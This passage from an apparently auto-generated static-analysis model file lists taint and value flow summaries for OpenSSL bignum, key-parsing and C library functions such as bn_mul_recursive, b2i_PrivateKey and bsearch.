"", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[1]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "app_passwd", "(const char *,const char *,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "apps_ssl_info_callback", "(const SSL *,int,int)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[*1]", "Argument[**1].Field[**next].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[*1]", "Argument[**1].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[**1].Field[**next].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[**1].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[**next]", "Argument[*0].Field[**fds]", "value", "dfc-generated"] + - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[*next]", "Argument[*0].Field[*fds]", "value", "dfc-generated"] + - ["", "", True, "atof", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atof", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoi", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoi", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atol", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atol", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoll", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoll", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_DSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_DSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PrivateKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_PublicKey", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "b2i_RSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_RSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "b2i_RSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "b2i_RSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "bio_msg_copy", "(BIO_MSG *,BIO_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[*d]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bn_copy_words", "(unsigned long *,const BIGNUM *,int)", "", "Argument[*1].Field[**d]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "bn_copy_words", "(unsigned long *,const BIGNUM *,int)", "", "Argument[*1].Field[*d]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_div_fixed_top", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_expand2", "(BIGNUM *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_from_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_get_dmax", "(const BIGNUM *)", "", "Argument[*0].Field[*dmax]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_get_top", "(const BIGNUM *)", "", "Argument[*0].Field[*top]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_get_words", "(const BIGNUM *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "bn_get_words", "(const BIGNUM *)", "", "Argument[*0].Field[*d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_lshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "bn_lshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "bn_mod_add_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_add_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mod_exp_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "bn_mod_sub_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_mod_sub_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_add_words", "(unsigned long *,const unsigned long *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mul_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_low_normal", "(unsigned long *,unsigned long *,unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_normal", "(unsigned long *,unsigned long *,unsigned long *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[*2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_low_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,unsigned long *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_mul_mont_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[*1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_normal", "(unsigned long *,unsigned long *,int,unsigned long *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_part_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*1]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[*2]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[2]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[5]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_recursive", "(unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "bn_mul_words", "(unsigned long *,const unsigned long *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_rshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "bn_rshift_fixed_top", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[*1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[1]", "Argument[*0].Field[*d]", "value", "dfc-generated"] + - ["", "", True, "bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[*1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_sqr_fixed_top", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_sqr_fixed_top", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_words", "(unsigned long *,const unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ca_main", "(int,char **,char 